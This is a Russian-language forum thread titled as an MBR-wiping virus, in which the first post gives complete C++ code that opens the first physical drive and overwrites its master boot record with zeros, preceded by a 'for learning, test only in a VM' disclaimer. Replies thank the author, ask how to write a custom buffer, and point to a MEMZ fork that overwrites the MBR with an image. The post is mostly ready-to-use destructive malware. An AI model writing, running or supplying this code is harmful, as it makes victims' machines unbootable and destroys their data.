Загрузка...

Вирус который стирает MBR | C++

Тема в разделе C/C++ создана пользователем muhtarstudio 13 сен 2022. 873 просмотра

Загрузка...
  1. muhtarstudio
    muhtarstudio Автор темы 13 сен 2022 5 20 авг 2022
    ВНИМАНИЕ! Автор не несёт ответственности за ваши действия, вирус был создан для того чтобы понять как работают вирус из нутри, и проверять этот вирус нужно только на виртуальной машине! ВНИМАНИЕ!

    Что нам понадобится ?
    • Visual Studio.
    • Прямые руки.
    • Эта статья
    Код:
    C
    #include <iostream>
    #include <windows.h>

    #define MBR_SIZE 512

    using namespace std;

    int main()
    {
    DWORD write;

    char mbr[MBR_SIZE];

    ZeroMemory(&mbr, (sizeof mbr));

    HANDLE MasterBootRecord = CreateFile(L"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);

    if (WriteFile(MasterBootRecord, mbr, MBR_SIZE, &write, NULL) == TRUE)
    {
    cout << "Succsessfuly!" << endl;

    Sleep(3000);

    ExitProcess(0);
    }
    else
    {
    cout << "Failed!" << endl;

    Sleep(3000);

    ExitProcess(0);
    }

    CloseHandle(MasterBootRecord);

    return 0;
    }
     
  2. unnamed001
    unnamed001 15 сен 2022 5997 2 сен 2020
    спасибо за гайды по использованию windows api
     
    15 сен 2022 Изменено
  3. ekstador
    ekstador 15 сен 2022 382 23 авг 2017
    МБР = Минет без резинки
     
  4. proha_999
    proha_999 22 дек 2024 0 17 июл 2022
    Слушай, а как сделать свой буфер, например с текстом
     
    1. ldapADFS
      proha_999, попробуй в этом проекте поглядеть на сырцы, там MBR перезаписывается картинкой с нян-кэтом, но там половина кода на ассембли написана

      https://github.com/serbinskis/memz-fork
Top